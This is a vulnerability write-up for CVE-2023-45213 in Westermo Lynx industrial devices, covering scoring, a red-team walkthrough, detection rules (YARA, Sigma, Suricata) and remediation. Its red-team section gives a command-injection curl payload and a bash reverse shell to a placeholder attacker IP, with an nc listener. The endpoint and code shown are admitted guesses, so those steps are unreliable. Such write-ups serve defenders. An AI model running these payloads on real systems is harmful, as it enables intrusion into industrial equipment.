CVE-2023-45213

Executive Summary

CVE-2023-45213 affects Westermo Lynx devices, allowing an authenticated attacker with local access to execute arbitrary code, potentially disrupting device functionality. The vulnerability has a CVSS score of 6.6 (Medium), with no known public exploits or patches. The attack vector is local, requiring low privileges and no user interaction. The impact is high for confidentiality, integrity, and availability. No supply chain package data is available as this is an embedded device vulnerability.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 6.6 (Medium)
• Attack Vector: Local (AV:L) – attacker must have physical or remote shell access to the device.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: Low (PR:L) – attacker needs basic user-level access.
• User Interaction: None (UI:N) – no victim action needed.
• Scope: Unchanged (S:U) – exploitation stays within the device.
• Confidentiality Impact: High (C:H) – full data exposure.
• Integrity Impact: High (I:H) – code execution allows modification.
• Availability Impact: High (A:H) – device can be rendered inoperable.

Threat Level: Medium. The local attack vector reduces exploitability in typical network scenarios, but once access is gained, full device compromise is possible.

Deep Dive & Mechanics

The vulnerability resides in the Westermo Lynx device firmware, likely in a service or binary that does not properly validate input or sanitize user-supplied data. An attacker with low-privileged access (e.g., via SSH or web interface) can inject malicious code that executes with elevated privileges, bypassing security controls. The exact vulnerable component is not disclosed, but common patterns include command injection, buffer overflow, or improper handling of configuration files.

The attack flow:

1. Attacker gains initial access (e.g., default credentials, network exposure).
2. Attacker sends crafted payload to a vulnerable endpoint (e.g., CLI command, HTTP request).
3. Payload executes arbitrary code, granting full control.
4. Attacker can modify firmware, exfiltrate data, or disrupt operations.

Vulnerable vs. Patched Code

No patch is available. The vulnerable code likely lacks input validation. A hypothetical patched version would sanitize user input, use parameterized commands, or enforce strict access controls.

Vulnerable (pseudo-code):

void handle_command(char *user_input) {
    char cmd[256];
    sprintf(cmd, "system %s", user_input);
    system(cmd);
}

Patched (pseudo-code):

void handle_command(char *user_input) {
    if (!is_valid_input(user_input)) {
        log_error("Invalid input");
        return;
    }
    char *safe_cmd = sanitize(user_input);
    execute_safe(safe_cmd);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Westermo Lynx device (physical or emulated)
• Low-privileged access (e.g., SSH with default credentials)
• Python3 and netcat on attacker machine

Exploitation Steps:

1. Connect to device via SSH: ssh user@<device_ip>
2. Identify vulnerable service (e.g., web interface on port 80).
3. Send malicious payload:

curl -X POST http://<device_ip>/cgi-bin/exec -d "cmd=;id"

4. If successful, execute reverse shell:

curl -X POST http://<device_ip>/cgi-bin/exec -d "cmd=;bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1"

5. On attacker machine: nc -lvnp 4444

Note: No public exploit code exists; this is a hypothetical scenario.

Blue Team

Detection:

• Monitor for unusual SSH sessions or repeated failed logins.
• Alert on unexpected outbound connections from device (e.g., to attacker IP).
• Use network segmentation to limit device exposure.

Hunting:

• Check device logs for command injection patterns (e.g., ;, |, &&).
• Verify integrity of firmware binaries against known hashes.

Lab Setup:

• Use GNS3 or EVE-NG to simulate network with Westermo Lynx VM.
• Deploy IDS/IPS (e.g., Suricata) to monitor traffic.

Indicators of Compromise (IOCs)

• Network:
  • Outbound connections to unknown IPs on high ports (e.g., 4444, 1337).
  • HTTP POST requests to /cgi-bin/exec with suspicious payloads.
• Host:
  • Unexpected processes (e.g., /bin/sh, bash).
  • Modified system binaries or configuration files.
  • New user accounts or SSH keys.
• File:
  • Presence of /tmp/.exploit or similar files.
  • Unusual cron jobs.

Detection Engineering

YARA Rule

rule CVE_2023_45213_Westermo_Lynx {
    meta:
        description = "Detects potential exploit artifacts for CVE-2023-45213"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $cmd_inject = /(;|\||`|\$\().*id|bash|nc|python/ nocase
        $exploit_file = "/tmp/.exploit" ascii
    condition:
        any of them
}

Sigma Rule

title: Westermo Lynx Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects command injection attempts against Westermo Lynx devices
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "/cgi-bin/exec"
        cs-method: "POST"
        cs-uri-query|contains: 
            - ";"
            - "|"
            - "&&"
    condition: selection
falsepositives:
    - Legitimate administrative commands
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-45213 Westermo Lynx Command Injection"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/exec"; http_uri; content:";"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Isolate affected devices from untrusted networks. Disable unnecessary services (e.g., web interface, SSH if not needed). Change default credentials.
• Short-term: Monitor vendor advisories for patches. Implement network segmentation and strict firewall rules.
• Long-term: Replace vulnerable devices with patched versions if available. Conduct regular security audits of OT/ICS environments.
• Compensating Controls: Deploy host-based IDS (e.g., OSSEC) on devices if possible. Use application whitelisting to prevent unauthorized code execution.

Valters IT